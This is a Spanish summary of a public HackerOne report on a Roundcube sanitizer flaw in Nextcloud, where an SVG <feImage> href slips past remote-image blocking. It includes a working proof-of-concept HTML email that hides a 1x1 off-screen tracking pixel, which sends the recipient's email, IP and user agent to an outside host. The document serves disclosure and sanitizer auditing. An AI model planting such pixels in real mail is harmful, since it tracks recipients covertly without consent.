Reports
MEDIA[EXPOSICIÓN DE DATOS]#3486747

Nextcloud: un filtro SVG con feImage se salta el bloqueo de imágenes remotas y permite rastrear la apertura de correos

El sanitizador HTML de Roundcube (rcube_washtml) no trataba el href de <feImage> como una imagen, así que un correo podía cargar recursos externos aunque estuviera activado el bloqueo de imágenes remotas.

Resumen
Resumen en castellano de un reporte público, no una traducción literal. El código y los comandos se mantienen como en el original.

Resumen

Los clientes de correo web suelen bloquear las imágenes remotas por defecto: si un mensaje HTML pide un recurso a un servidor externo, el remitente sabe que lo has abierto, desde qué IP y con qué navegador. En el caso que reportó nullcathedral al programa de Nextcloud, ese bloqueo tenía una grieta en el sanitizador HTML de Roundcube, rcube_washtml.php.

Con la opción allow_remote a false, el sanitizador revisa los atributos src/href de las etiquetas <img>, <image> y <use> mediante la función is_image_attribute() y bloquea los que apuntan fuera. El problema estaba en otra etiqueta SVG: <feImage>, una primitiva de filtro que también carga una imagen. El elemento estaba en la lista de permitidos, pero su href no se reconocía como fuente de imagen; en su lugar pasaba por wash_link(), que deja pasar URL HTTP y HTTPS externas. Resultado: una URL externa dentro de <feImage> se cargaba sin que el bloqueo interviniera.

HackerOne clasificó la debilidad como Privacy Violation, con severidad media. El reporte se envió el 4 de enero de 2026 y se hizo público el 20 de abril de 2026.

Pasos de reproducción

  1. Con el bloqueo de imágenes remotas activado (allow_remote a false), enviar a la víctima un correo HTML que incluya un SVG diminuto y fuera de pantalla con un filtro cuyo <feImage> apunte a un servidor externo. La URL puede llevar un identificador del destinatario:
<!DOCTYPE html>
<html>
<head><title>Important Document</title></head>
<body>
<h1>Important Information</h1>
<p>Dear valued customer,</p>
<p>Please review the attached information carefully.</p>

<svg width="1" height="1" style="position:absolute;left:-9999px;">
  <defs>
    <filter id="t">
      <feImage href="https://httpbin.org/image/svg?email=[REDACTADO]" width="1" height="1"/>
    </filter>
  </defs>
  <rect filter="url(#t)" width="1" height="1"/>
</svg>

<p>Best regards,<br>Totally Legitimate Company</p>

</body>
</html>

El investigador lo envió como parte HTML de un mensaje multipart/alternative, con una parte alternativa en texto plano ("Please enable HTML to view this message.").

  1. Abrir el correo. Se produce una petición HTTP a https://httpbin.org/image/svg?email=[REDACTADO], aunque las imágenes remotas estén bloqueadas.

Impacto

El atacante puede meter en sus correos un píxel de seguimiento invisible que se carga incluso con "Bloquear imágenes remotas" activado. Con eso obtiene:

  • Confirmación de que el correo se ha abierto, sin consentimiento del destinatario (un acuse de lectura encubierto).
  • La dirección IP de quien lo abre, y con ella una ubicación aproximada.
  • El user agent del navegador, útil para identificar o perfilar a la víctima.

Qué aprender de este caso

  • Si auditas un sanitizador con lista de etiquetas permitidas, no basta con revisar <img>: en SVG también cargan recursos externos <image>, <use> o <feImage>. Busca cualquier elemento permitido cuyo atributo de URL vaya por la ruta de "enlace" y no por la de "imagen".
  • Un mismo atributo (href) puede significar "navegar" o "cargar" según la etiqueta. El filtro debe decidirse por el par etiqueta-atributo: aquí un href que el navegador carga solo acabó tratado como un enlace normal.
  • Para probarlo, envía correos con el SVG escondido (1×1 px y desplazado fuera de pantalla) apuntando a un servidor que registre peticiones: si llega una al abrir el mensaje con el contenido remoto bloqueado, el bloqueo está roto.